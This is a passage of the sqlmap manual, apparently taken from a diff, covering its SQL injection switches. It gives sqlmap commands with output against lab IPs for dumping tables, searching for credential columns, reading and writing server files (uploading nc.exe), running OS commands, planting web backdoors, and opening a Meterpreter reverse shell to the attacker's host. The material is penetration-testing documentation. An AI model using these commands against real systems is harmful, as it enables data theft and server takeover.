-information about available databases, it is possible to enumerate the
-list of databases.
-
-
-Enumerate database's tables
-
-
-Switches: - -tables , -D and
-- -exclude-sysdbs
-
-
-When the session user has read access to the system table containing
-information about databases' tables, it is possible to enumerate
-the list of tables for a specific database management system's databases.
-
-
-If you do not provide a specific database with switch -D , sqlmap
-will enumerate the tables for all DBMS databases.
-
-
-You can also provide the - -exclude-sysdbs switch to
-exclude all system databases.
-
-
-Note that on Oracle you have to provide the TABLESPACE_NAME
-instead of the database name.
-
-
-Enumerate database table columns
-
-
-Switches: - -columns , -C , -T and -D
-
-
-When the session user has read access to the system table containing
-information about database's tables, it is possible to enumerate the list
-of columns for a specific database table.
-sqlmap also enumerates the data-type for each column.
-
-
-This feature depends on the option -T to specify the table name
-and optionally on -D to specify the database name. When the
-database name is not specified, the current database name is used.
-You can also provide the -C option to specify the table columns
-name like the one you provided to be enumerated.
-
-
-Example against a SQLite target:
-
-
-$ python sqlmap.py -u "http://192.168.136.131/sqlmap/sqlite/get_int.php?id=1" --columns \
- -D testdb -T users -C name
-[...]
-Database: SQLite_masterdb
-Table: users
-[3 columns]
-+---------+---------+
-| Column | Type |
-+---------+---------+
-| id | INTEGER |
-| name | TEXT |
-| surname | TEXT |
-+---------+---------+
-
-
-
-Note that on PostgreSQL you have to provide public or the
-name of a system database. That's because it is not possible to enumerate
-other databases tables, only the tables under the schema that the web
-application's user is connected to, which is always aliased by
-public .
-
-
-Enumerate database management system schema
-
-
-Switches: - -schema
-
-
-TODO
-
-
-Retrieve number of entries for table(s)
-
-
-Switches: - -count
-
-
-TODO
-
-
-Dump database table entries
-
-
-Switches: - -dump , -C , -T , -D ,
-- -start , - -stop , - -first
-and - -last
-
-
-When the session user has read access to a specific database's table it is
-possible to dump the table entries.
-
-
-This functionality depends on switch -T to specify the table
-name and optionally on switch -D to specify the database name.
-If the table name is provided, but the database name is not, the current
-database name is used.
-
-
-Example against a Firebird target:
-
-
-$ python sqlmap.py -u "http://192.168.136.131/sqlmap/firebird/get_int.php?id=1" --dump -T users
-[...]
-Database: Firebird_masterdb
-Table: USERS
-[4 entries]
-+----+--------+------------+
-| ID | NAME | SURNAME |
-+----+--------+------------+
-| 1 | luther | blisset |
-| 2 | fluffy | bunny |
-| 3 | wu | ming |
-| 4 | NULL | nameisnull |
-+----+--------+------------+
-
-
-
-This switch can also be used to dump all tables' entries of a provided
-database. You simply have to provide sqlmap with the - -dump
-switch along with only the -D switch, no -T and no
--C .
-
-
-You can also provide a comma-separated list of the specific columns to
-dump with the -C switch.
-
-
-sqlmap also generates for each table dumped the entries in a CSV format
-textual file.
-You can see the absolute path where sqlmap creates the file by providing a
-verbosity level greater than or equal to 1 .
-
-
-If you want to dump only a range of entries, then you can provide switches
-- -start and/or - -stop to respectively
-start to dump from a certain entry and stop the dump at a certain entry.
-For instance, if you want to dump only the first entry, provide
-- -stop 1 in your command line. Vice versa if, for
-instance, you want to dump only the second and third entry, provide
-- -start 1 - -stop 3 .
-
-
-It is also possible to specify which single character or range of characters
-to dump with switches - -first and - -last .
-For instance, if you want to dump columns' entries from the third to the
-fifth character, provide - -first 3 - -last
-5 .
-This feature only applies to the blind SQL injection techniques because for
-error-based and UNION query SQL injection techniques the number of requests
-is exactly the same, regardless of the length of the column's entry output
-to dump.
-
-
-As you may have noticed by now, sqlmap is flexible : you can leave
-it to automatically dump the whole database table or you can be very
-precise in which characters to dump, from which columns and which range of
-entries.
-
-
-Dump all databases tables entries
-
-
-Switches: - -dump-all and - -exclude-sysdbs
-
-
-It is possible to dump all databases tables entries at once that the
-session user has read access on.
-
-
-You can also provide the - -exclude-sysdbs switch to
-exclude all system databases. In that case sqlmap will only dump entries
-of users' databases tables.
-
-
-Note that on Microsoft SQL Server the master database is not
-considered a system database because some database administrators use it
-as a users' database.
-
-
-Search for columns, tables or databases
-
-
-Switches: - -search , -C , -T , -D
-
-
-This switch allows you to search for specific database names, specific
-tables across all databases or specific columns across all databases'
-tables .
-
-
-This is useful, for instance, to identify tables containing custom
-application credentials where relevant columns' names contain string like
-name and pass .
-
-
-The switch - -search needs to be used in conjunction with
-one of the following support switches:
-
-
--C following a list of comma-separated column names to look
-for across the whole database management system.
--T following a list of comma-separated table names to look
-for across the whole database management system.
--D following a list of comma-separated database names to
-look for across the database management system.
-
-
-
-Run custom SQL statement
-
-
-Switches: - -sql-query and - -sql-shell
-
-
-The SQL query and the SQL shell features allow to run arbitrary SQL
-statements on the database management system.
-sqlmap automatically dissects the provided statement, determines which
-technique is appropriate to use to inject it and how to pack the SQL
-payload accordingly.
-
-
-If the query is a SELECT statement, sqlmap will retrieve its
-output.
-Otherwise it will execute the query through the stacked query SQL
-injection technique if the web application supports multiple statements on
-the back-end database management system.
-Beware that some web application technologies do not support stacked
-queries on specific database management systems. For instance, PHP does
-not support stacked queries when the back-end DBMS is MySQL, but it does
-support when the back-end DBMS is PostgreSQL.
-
-
-Examples against a Microsoft SQL Server 2000 target:
-
-
-$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query \
- "SELECT 'foo'" -v 1
-
-[...]
-[hh:mm:14] [INFO] fetching SQL SELECT query output: 'SELECT 'foo''
-[hh:mm:14] [INFO] retrieved: foo
-SELECT 'foo': 'foo'
-
-$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query \
- "SELECT 'foo', 'bar'" -v 2
-
-[...]
-[hh:mm:50] [INFO] fetching SQL SELECT query output: 'SELECT 'foo', 'bar''
-[hh:mm:50] [INFO] the SQL query provided has more than a field. sqlmap will now unpack it into
-distinct queries to be able to retrieve the output even if we are going blind
-[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS VARCHAR(8000)),
-(CHAR(32)))
-[hh:mm:50] [INFO] retrieved: foo
-[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
-[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(98)+CHAR(97)+CHAR(114)) AS VARCHAR(8000)),
-(CHAR(32)))
-[hh:mm:50] [INFO] retrieved: bar
-[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
-SELECT 'foo', 'bar': 'foo, bar'
-
-
-
-As you can see, sqlmap splits the provided query into two different
-SELECT statements then retrieves the output for each separate
-query.
-
-
-If the provided query is a SELECT statement and contains a
-FROM clause, sqlmap will ask you if such statement can return
-multiple entries. In that case the tool knows how to unpack the query
-correctly to count the number of possible entries and retrieve its output,
-entry per entry.
-
-
-The SQL shell option allows you to run your own SQL statement
-interactively, like a SQL console connected to the database management
-system.
-This feature provides TAB completion and history support too.
-
-
-Brute force
-
-
-These options can be used to run brute force checks.
-
-Brute force tables names
-
-
-Switches: - -common-tables
-
-
-There are cases where - -tables switch can not be used to
-retrieve the databases' table names. These cases usually fit into one
-of the following categories:
-
-
-- The database management system is MySQL
< 5.0 where
-information_schema is not available.
-- The database management system is Microsoft Access and system table
-
MSysObjects is not readable - default setting.
-- The session user does not have read privileges against the system
-table storing the scheme of the databases.
-
-
-
-If any of the first two cases apply and you provided the
-- -tables switch, sqlmap will prompt you with a question
-to fall back to this technique.
-Either of these cases apply to your situation, sqlmap can possibly still
-identify some existing tables if you provide it with the
-- -common-tables switch. sqlmap will perform a
-brute-force attack in order to detect the existence of common tables
-across the DBMS.
-
-
-The list of common table names is txt/common-tables.txt and you
-can edit it as you wish.
-
-
-Example against a MySQL 4.1 target:
-
-
-$ python sqlmap.py -u "http://192.168.136.129/mysql/get_int_4.php?id=1" \
- --common-tables -D testdb --banner
-
-[...]
-[hh:mm:39] [INFO] testing MySQL
-[hh:mm:39] [INFO] confirming MySQL
-[hh:mm:40] [INFO] the back-end DBMS is MySQL
-[hh:mm:40] [INFO] fetching banner
-web server operating system: Windows
-web application technology: PHP 5.3.1, Apache 2.2.14
-back-end DBMS operating system: Windows
-back-end DBMS: MySQL < 5.0.0
-banner: '4.1.21-community-nt'
-
-[hh:mm:40] [INFO] checking table existence using items from '/software/sqlmap/txt/common-tables.txt'
-[hh:mm:40] [INFO] adding words used on web page to the check list
-please enter number of threads? [Enter for 1 (current)] 8
-[hh:mm:43] [INFO] retrieved: users
-
-Database: testdb
-[1 table]
-+-------+
-| users |
-+-------+
-
-
-
-Brute force columns names
-
-
-Switches: - -common-columns
-
-
-As per tables, there are cases where - -columns switch
-can not be used to retrieve the databases' tables' column names. These
-cases usually fit into one of the following categories:
-
-
-- The database management system is MySQL
< 5.0 where
-information_schema is not available.
-- The database management system is Microsoft Access where this
-kind of information is not available inside system tables.
-
- The session user does not have read privileges against the system
-table storing the scheme of the databases.
-
-
-
-If any of the first two cases apply and you provided the
-- -columns switch, sqlmap will prompt you with a question
-to fall back to this technique.
-Either of these cases apply to your situation, sqlmap can possibly still
-identify some existing tables if you provide it with the
-- -common-columns switch. sqlmap will perform a
-brute-force attack in order to detect the existence of common columns
-across the DBMS.
-
-
-The list of common table names is txt/common-columns.txt and you
-can edit it as you wish.
-
-
-User-defined function injection
-
-
-These options can be used to create custom user-defined functions.
-
-Inject custom user-defined functions (UDF)
-
-
-Switches: - -udf-inject and - -shared-lib
-
-
-You can inject your own user-defined functions (UDFs) by compiling a
-MySQL or PostgreSQL shared library, DLL for Windows and shared object for
-Linux/Unix, then provide sqlmap with the path where the shared library
-is stored locally on your machine. sqlmap will then ask you some
-questions, upload the shared library on the database server file system,
-create the user-defined function(s) from it and, depending on your
-options, execute them. When you are finished using the injected UDFs,
-sqlmap can also remove them from the database for you.
-
-
-These techniques are detailed in the white paper
-.
-
-
-Use switch - -udf-inject and follow the instructions.
-
-
-If you want, you can specify the shared library local file system path
-via command line too by using - -shared-lib option. Vice
-versa sqlmap will ask you for the path at runtime.
-
-
-This feature is available only when the database management system is
-MySQL or PostgreSQL.
-
-
-File system access
-
-Read a file from the database server's file system
-
-
-Switch: - -file-read
-
-
-It is possible to retrieve the content of files from the underlying file
-system when the back-end database management system is either MySQL,
-PostgreSQL or Microsoft SQL Server, and the session user has the needed
-privileges to abuse database specific functionalities and architectural
-weaknesses.
-The file specified can be either a textual or a binary file. sqlmap will
-handle it properly.
-
-
-These techniques are detailed in the white paper
-.
-
-
-Example against a Microsoft SQL Server 2005 target to retrieve a binary
-file:
-
-
-$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?name=luther" \
- --file-read "C:/example.exe" -v 1
-
-[...]
-[hh:mm:49] [INFO] the back-end DBMS is Microsoft SQL Server
-web server operating system: Windows 2000
-web application technology: ASP.NET, Microsoft IIS 6.0, ASP
-back-end DBMS: Microsoft SQL Server 2005
-
-[hh:mm:50] [INFO] fetching file: 'C:/example.exe'
-[hh:mm:50] [INFO] the SQL query provided returns 3 entries
-C:/example.exe file saved to: '/software/sqlmap/output/192.168.136.129/files/C__example.exe'
-[...]
-
-$ ls -l output/192.168.136.129/files/C__example.exe
--rw-r--r-- 1 inquis inquis 2560 2011-MM-DD hh:mm output/192.168.136.129/files/C__example.exe
-
-$ file output/192.168.136.129/files/C__example.exe
-output/192.168.136.129/files/C__example.exe: PE32 executable for MS Windows (GUI) Intel
-80386 32-bit
-
-
-
-Upload a file to the database server's file system
-
-
-Switches: - -file-write and - -file-dest
-
-
-It is possible to upload a local file to the database server's file system
-when the back-end database management system is either MySQL, PostgreSQL
-or Microsoft SQL Server, and the session user has the needed privileges to
-abuse database specific functionalities and architectural weaknesses.
-The file specified can be either a textual or a binary file. sqlmap will
-handle it properly.
-
-
-These techniques are detailed in the white paper
-.
-
-
-Example against a MySQL target to upload a binary UPX-compressed file:
-
-
-$ file /software/nc.exe.packed
-/software/nc.exe.packed: PE32 executable for MS Windows (console) Intel 80386 32-bit
-
-$ ls -l /software/nc.exe.packed
--rwxr-xr-x 1 inquis inquis 31744 2009-MM-DD hh:mm /software/nc.exe.packed
-
-$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1" --file-write \
- "/software/nc.exe.packed" --file-dest "C:/WINDOWS/Temp/nc.exe" -v 1
-
-[...]
-[hh:mm:29] [INFO] the back-end DBMS is MySQL
-web server operating system: Windows 2003 or 2008
-web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
-back-end DBMS: MySQL >= 5.0.0
-
-[...]
-do you want confirmation that the file 'C:/WINDOWS/Temp/nc.exe' has been successfully
-written on the back-end DBMS file system? [Y/n] y
-[hh:mm:52] [INFO] retrieved: 31744
-[hh:mm:52] [INFO] the file has been successfully written and its size is 31744 bytes,
-same size as the local file '/software/nc.exe.packed'
-
-
-
-Operating system takeover
-
-Run arbitrary operating system command
-
-
-Switches: - -os-cmd and - -os-shell
-
-
-It is possible to run arbitrary commands on the database server's
-underlying operating system when the back-end database management
-system is either MySQL, PostgreSQL or Microsoft SQL Server, and the
-session user has the needed privileges to abuse database specific
-functionalities and architectural weaknesses.
-
-
-On MySQL and PostgreSQL, sqlmap uploads (via the file upload functionality
-explained above) a shared library (binary file) containing two
-user-defined functions, sys_exec() and sys_eval() , then
-it creates these two functions on the database and calls one of them to
-execute the specified command, depending on user's choice to display the
-standard output or not.
-On Microsoft SQL Server, sqlmap abuses the xp_cmdshell stored
-procedure: if it is disabled (by default on Microsoft SQL Server >= 2005),
-sqlmap re-enables it; if it does not exist, sqlmap creates it from
-scratch.
-
-
-When the user requests the standard output, sqlmap uses one of the
-enumeration SQL injection techniques (blind, inband or error-based) to
-retrieve it. Vice versa, if the standard output is not required, stacked
-query SQL injection technique is used to execute the command.
-
-
-These techniques are detailed in the white paper
-.
-
-
-Example against a PostgreSQL target:
-
-
-$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" \
- --os-cmd id -v 1
-
-[...]
-web application technology: PHP 5.2.6, Apache 2.2.9
-back-end DBMS: PostgreSQL
-[hh:mm:12] [INFO] fingerprinting the back-end DBMS operating system
-[hh:mm:12] [INFO] the back-end DBMS operating system is Linux
-[hh:mm:12] [INFO] testing if current user is DBA
-[hh:mm:12] [INFO] detecting back-end DBMS version from its banner
-[hh:mm:12] [INFO] checking if UDF 'sys_eval' already exist
-[hh:mm:12] [INFO] checking if UDF 'sys_exec' already exist
-[hh:mm:12] [INFO] creating UDF 'sys_eval' from the binary UDF file
-[hh:mm:12] [INFO] creating UDF 'sys_exec' from the binary UDF file
-do you want to retrieve the command standard output? [Y/n/a] y
-command standard output: 'uid=104(postgres) gid=106(postgres) groups=106(postgres)'
-
-[hh:mm:19] [INFO] cleaning up the database management system
-do you want to remove UDF 'sys_eval'? [Y/n] y
-do you want to remove UDF 'sys_exec'? [Y/n] y
-[hh:mm:23] [INFO] database management system cleanup finished
-[hh:mm:23] [WARNING] remember that UDF shared object files saved on the file system can
-only be deleted manually
-
-
-
-It is also possible to simulate a real shell where you can type as many
-arbitrary commands as you wish. The option is - -os-shell
-and has the same TAB completion and history functionalities that
-- -sql-shell has.
-
-
-Where stacked queries has not been identified on the web application
-(e.g. PHP or ASP with back-end database management system being MySQL) and
-the DBMS is MySQL, it is still possible to abuse the SELECT
-clause's INTO OUTFILE to create a web backdoor in a writable
-folder within the web server document root and still get command
-execution assuming the back-end DBMS and the web server are hosted on the
-same server.
-sqlmap supports this technique and allows the user to provide a
-comma-separated list of possible document root sub-folders where try to
-upload the web file stager and the subsequent web backdoor. Also, sqlmap
-has its own tested web file stagers and backdoors for the following
-languages:
-
-
-- ASP
-
- ASP.NET
-
- JSP
-
- PHP
-
-
-
-Out-of-band stateful connection: Meterpreter & friends
-
-
-Switches: - -os-pwn , - -os-smbrelay ,
-- -os-bof , - -priv-esc ,
-- -msf-path and - -tmp-path
-
-
-It is possible to establish an out-of-band stateful TCP connection
-between the attacker machine and the database server underlying
-operating system when the back-end database management system is either
-MySQL, PostgreSQL or Microsoft SQL Server, and the session user has the
-needed privileges to abuse database specific functionalities and
-architectural weaknesses.
-This channel can be an interactive command prompt, a Meterpreter session
-or a graphical user interface (VNC) session as per user's choice.
-
-
-sqlmap relies on Metasploit to create the shellcode and implements four
-different techniques to execute it on the database server. These
-techniques are:
-
-- Database
in-memory execution of the Metasploit's shellcode
-via sqlmap own user-defined function sys_bineval() . Supported on
-MySQL and PostgreSQL - switch - -os-pwn .
-- Upload and execution of a Metasploit's
stand-alone payload
-stager via sqlmap own user-defined function sys_exec() on
-MySQL and PostgreSQL or via xp_cmdshell() on Microsoft SQL
-Server - switch - -os-pwn .
-- Execution of Metasploit's shellcode by performing a
SMB
-reflection attack () with a UNC path request from the database server to
-the attacker's machine where the Metasploit smb_relay server
-exploit listens. Supported when running sqlmap with high privileges
-(uid=0 ) on Linux/Unix and the target DBMS runs as Administrator
-on Windows - switch - -os-smbrelay .
-- Database in-memory execution of the Metasploit's shellcode by
-exploiting
Microsoft SQL Server 2000 and 2005
-sp_replwritetovarbin stored procedure heap-based buffer
-overflow (). sqlmap has its own exploit to trigger the
-vulnerability with automatic DEP memory protection bypass, but it relies
-on Metasploit to generate the shellcode to get executed upon successful
-exploitation - switch - -os-bof .
-
-
-
-These techniques are detailed in the white paper
- and in the
-slide deck .
-
-
-Example against a MySQL target:
-
-
-$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/iis/get_int_55.aspx?id=1" --os-pwn \
- --msf-path /software/metasploit
-
-[...]
-[hh:mm:31] [INFO] the back-end DBMS is MySQL
-web server operating system: Windows 2003
-web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
-back-end DBMS: MySQL 5.0
-[hh:mm:31] [INFO] fingerprinting the back-end DBMS operating system
-[hh:mm:31] [INFO] the back-end DBMS operating system is Windows
-how do you want to establish the tunnel?
-[1] TCP: Metasploit Framework (default)
-[2] ICMP: icmpsh - ICMP tunneling
->
-[hh:mm:32] [INFO] testing if current user is DBA
-[hh:mm:32] [INFO] fetching current user
-what is the back-end database management system architecture?
-[1] 32-bit (default)
-[2] 64-bit
->
-[hh:mm:33] [INFO] checking if UDF 'sys_bineval' already exist
-[hh:mm:33] [INFO] checking if UDF 'sys_exec' already exist
-[hh:mm:33] [INFO] detecting back-end DBMS version from its banner
-[hh:mm:33] [INFO] retrieving MySQL base directory absolute path
-[hh:mm:34] [INFO] creating UDF 'sys_bineval' from the binary UDF file
-[hh:mm:34] [INFO] creating UDF 'sys_exec' from the binary UDF file
-how do you want to execute the Metasploit shellcode on the back-end database underlying
-operating system?
-[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)
-[2] Stand-alone payload stager (file system way)
->
-[hh:mm:35] [INFO] creating Metasploit Framework multi-stage shellcode
-which connection type do you want to use?
-[1] Reverse TCP: Connect back from the database host to this machine (default)
-[2] Reverse TCP: Try to connect back from the database host to this machine, on all ports
-between the specified and 65535
-[3] Bind TCP: Listen on the database host for a connection
->
-which is the local address? [192.168.136.1]
-which local port number do you want to use? [60641]
-which payload do you want to use?
-[1] Meterpreter (default)
-[2] Shell
-[3] VNC
->
-[hh:mm:40] [INFO] creation in progress ... done
-[hh:mm:43] [INFO] running Metasploit Framework command line interface locally, please wait..
-
- _
- | | o
- _ _ _ _ _|_ __, , _ | | __ _|_
-/ |/ |/ | |/ | / | / \_|/ \_|/ / \_| |
- | | |_/|__/|_/\_/|_/ \/ |__/ |__/\__/ |_/|_/
- /|
- \|
-
-
- =[ metasploit v3.7.0-dev [core:3.7 api:1.0]
-+ -- --=[ 674 exploits - 351 auxiliary
-+ -- --=[ 217 payloads - 27 encoders - 8 nops
- =[ svn r12272 updated 4 days ago (2011.04.07)
-
-PAYLOAD => windows/meterpreter/reverse_tcp
-EXITFUNC => thread
-LPORT => 60641
-LHOST => 192.168.136.1
-[*] Started reverse handler on 192.168.136.1:60641
-[*] Starting the payload handler...
-[hh:mm:48] [INFO] running Metasploit Framework shellcode remotely via UDF 'sys_bineval',
-please wait..
-[*] Sending stage (749056 bytes) to 192.168.136.129
-[*] Meterpreter session 1 opened (192.168.136.1:60641 -> 192.168.136.129:1689) at Mon Apr 11
-hh:mm:52 +0100 2011
-
-meterpreter > Loading extension espia...success.
-meterpreter > Loading extension incognito...success.
-meterpreter > [-] The 'priv' extension has already been loaded.
-meterpreter > Loading extension sniffer...success.
-meterpreter > System Language : en_US
-OS : Windows .NET Server (Build 3790, Service Pack 2).
-Computer : W2K3R2
-Architecture : x86
-Meterpreter : x86/win32
-meterpreter > Server username: NT AUTHORITY\SYSTEM
-meterpreter > ipconfig
-
-MS TCP Loopback interface
-Hardware MAC: 00:00:00:00:00:00
-IP Address : 127.0.0.1
-Netmask : 255.0.0.0
-
-
-
-Intel(R) PRO/1000 MT Network Connection
-Hardware MAC: 00:0c:29:fc:79:39
-IP Address : 192.168.136.129
-Netmask : 255.255.255.0
-
-
-meterpreter > exit
-
-[*] Meterpreter session 1 closed. Reason: User exit
-
-
-
-By default MySQL on Windows runs as SYSTEM , however PostgreSQL
-runs as a low-privileged user postgres on both Windows and Linux.
-Microsoft SQL Server 2000 by default runs as SYSTEM , whereas
-Microsoft SQL Server 2005 and 2008 run most of the times as NETWORK
-SERVICE and sometimes as LOCAL SERVICE .
-
-
-It is possible to provide sqlmap with the - -priv-esc
-switch to perform a database process' user privilege escalation
-via Metasploit's getsystem command which include, among others,
-the technique ().
-
-
-Windows registry access
-
-
-It is possible to access Windows registry when the back-end database
-management system is either MySQL, PostgreSQL or Microsoft SQL Server,
-and when the web application supports stacked queries. Also, session user
-has to have the needed privileges to access it.
-
-Read a Windows registry key value
-
-
-Switch: - -reg-read
-
-
-Using this option you can read registry key values.
-
-Write a Windows registry key value
-
-
-Switch: - -reg-add
-
-
-Using this option you can write registry key values.
-
-Delete a Windows registry key
-
-
-Switch: - -reg-del
-
-
-Using this option you can delete registry keys.
-
-Auxiliary registry switches
-
-
-Switches: - -reg-key , - -reg-value ,
-- -reg-data and - -reg-type
-
-
-These switches can be used to provide data needed for proper running of
-options - -reg-read , - -reg-add and
-- -reg-del . So, instead of providing registry key
-information when asked, you can use them at command prompt as program
-arguments.
-
-
-With - -reg-key option you specify used Windows registry
-key path, with - -reg-value value item name inside
-provided key, with - -reg-data value data, while with
-- -reg-type option you specify type of the value item.
-
-
-A sample command line for adding a registry key hive follows:
-
-
-$ python sqlmap.py -u http://192.168.136.129/sqlmap/pgsql/get_int.aspx?id=1 --reg-add \
- --reg-key="HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap" --reg-value=Test --reg-type=REG_SZ --reg-data=1
-
-
-
-General
-
-
-Log HTTP(s) traffic to a textual file
-
-
-Switch: -t
-
-
-This switch requires an argument that specified the textual file to write
-all HTTP(s) traffic generated by sqlmap - HTTP(s) requests and HTTP(s)
-responses.
-
-
-This is useful primarily for debug purposes.
-
-
-Session file: save and resume data retrieved
-
-
-Switch: -s
-
-
-By default sqlmap logs all queries and their output into a textual file
-called session file , regardless of the technique used to extract
-the data.
-This is useful if you stop the injection for any reason and rerun it
-afterwards: sqlmap will parse the session file and resume enumerated data
-from it, then carry on extracting data from the exact point where it left
-before you stopped the tool.
-
-
-The default session file is output/TARGET_URL/session , but you
-can specify a different file path with -s switch.
-
-
-The session file has the following structure:
-
-
-[hh:mm:ss MM/DD/YY]
-[Target URL][Injection point][Parameters][Query or information name][Query output or value]
-
-
-
-A more user friendly textual file where all data retrieved is saved, is
-the log file , output/TARGET_URL/log . This file can be
-useful to see all information enumerated to the end.
-
-
-Flush session file
-
-
-Switch: